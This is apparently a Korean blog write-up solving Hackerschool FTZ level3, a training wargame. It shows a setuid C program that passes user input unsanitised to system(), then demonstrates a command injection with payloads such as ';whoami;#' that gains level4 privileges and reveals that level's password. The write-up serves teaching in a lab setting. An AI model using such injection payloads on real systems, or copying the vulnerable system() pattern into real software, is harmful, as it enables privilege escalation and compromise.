티스토리 뷰
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
위 코드는 level3의 힌트입니다.
우선 level4 사용자 소유 파일을 검색해보았습니다.
[level3@ftz level3]$ find / -user level4 2> /dev/null
/bin/autodig
다시 autodig의 소스코드를 보도록 하겠습니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
우선 main 함수는 인자 한 개를 받고 있습니다. 그리고 그 인자를 cmd 변수에 넣고, 다른 문자열과 합칩니다. 그리고 마지막으로 system 함수에 인자로 넣습니다. system 함수에 넘여질 명령어는 다음과 같은 형태가 될 것입니다.
dig @사용자입력값 version.bind chaos txt
리눅스 명령어는 다음과 같이 한 줄에 여러 명령어를 실행시킬 수 있습니다.
[level3@ftz level3]$ echo "test";pwd;whoami;
test
/home/level3
level3
이런 원리를 이용해서 위 문제에서는 command injection 취약점이 발생하고 있음을 알 수 있습니다.
만약 whoami 라는 명령어를 삽입한 다면 어떨까요? 아래와 같습니다.
[level3@ftz level3]$ dig @;whoami;#version.bind chaos txt
dig: Couldn't find server '': Name or service not known
level3
어쨌거나 dig @; 는 올바르지 않은 사용법으로써 오류가 나고 그 다음 명령인 whoami 가 실행될 겁니다. 그리고 뒤에 내용은 #(샵)을 이용해서 주석처리 했습니다. 그럼 이제 실제 문제에 적용해보겠습니다.
[level3@ftz level3]$ /bin/autodig ;whoami;#
Auto Digger Version 0.9
Usage : /bin/autodig host
level3
자 일단 뭔가 실행된 것으로 봐서 whoami 명령어가 정상적으로 실행된 것 같습니다. 하지만 의아하실 겁니다. level4 의 setuid 가 적용된 /bin/autodig 라는 프로그램에서 whoami 가 실행되었다면 level4 가 출력되어야 하는데 level3 이 왜 출력되었을까 하고 말이죠.
이 경우에는 또 다른 장치가 필요합니다. 사실 위 명령어를 해석하면 아래와 같습니다.
[level3@ftz level3]$ /bin/autodig ;
[level3@ftz level3]$ whoami;
말했다 시피 세미콜론(;) 기호를 이용해서 한 줄에 여러 명령을 수행할 수 있다고 했습니다. 그렇기 때문에 세미콜론(;) 기호를 기준으로 명령어를 다시 여러 줄로 나누게 되면 위와 같습니다. 그래서 whoami 는 결국 level3 에서 명령을 수행한 것과 마찬가지이기 때문에 level3이 출력되는 것은 당연합니다.
그럼 어떻게 /bin/autodig 라는 프로그램의 인자로써 세미콜론(;)을 인식하게 할까요? 바로 ""(큰따옴표)로 묶어주면 됩니다.
[level3@ftz level3]$ /bin/autodig ";whoami;#"
dig: Couldn't find server '': Name or service not known
level4
위와 같이 큰따옴표 기호로 묶어주게 되면 하나의 매개변수 값으로 인식하여 정상적으로 command injection 을 수행할 수 있습니다.
이제 level4 권한을 획득하였으니, level4 권한으로 my-pass만 구하면 끝이겠습니다.
[level3@ftz level3]$ /bin/autodig ";my-pass;#"
Level4 Password is "suck my brain".
- 끝 -
'보안 > Wargame' 카테고리의 다른 글
[Hackthebox] - breaking grad Writeup(문제풀이) (0) | 2021.10.18 |
---|---|
[FTZ] level4 문제풀이/Writeup - 해커스쿨(Hackerschool) (0) | 2021.10.14 |
[FTZ] level2 문제풀이/Writeup - 해커스쿨(Hackerschool) (0) | 2021.10.14 |
[FTZ] level1 문제풀이/Writeup - 해커스쿨(Hackerschool) (0) | 2021.10.14 |
[Hackthebox] - baby ninja jinja Writeup(문제풀이) (0) | 2021.09.29 |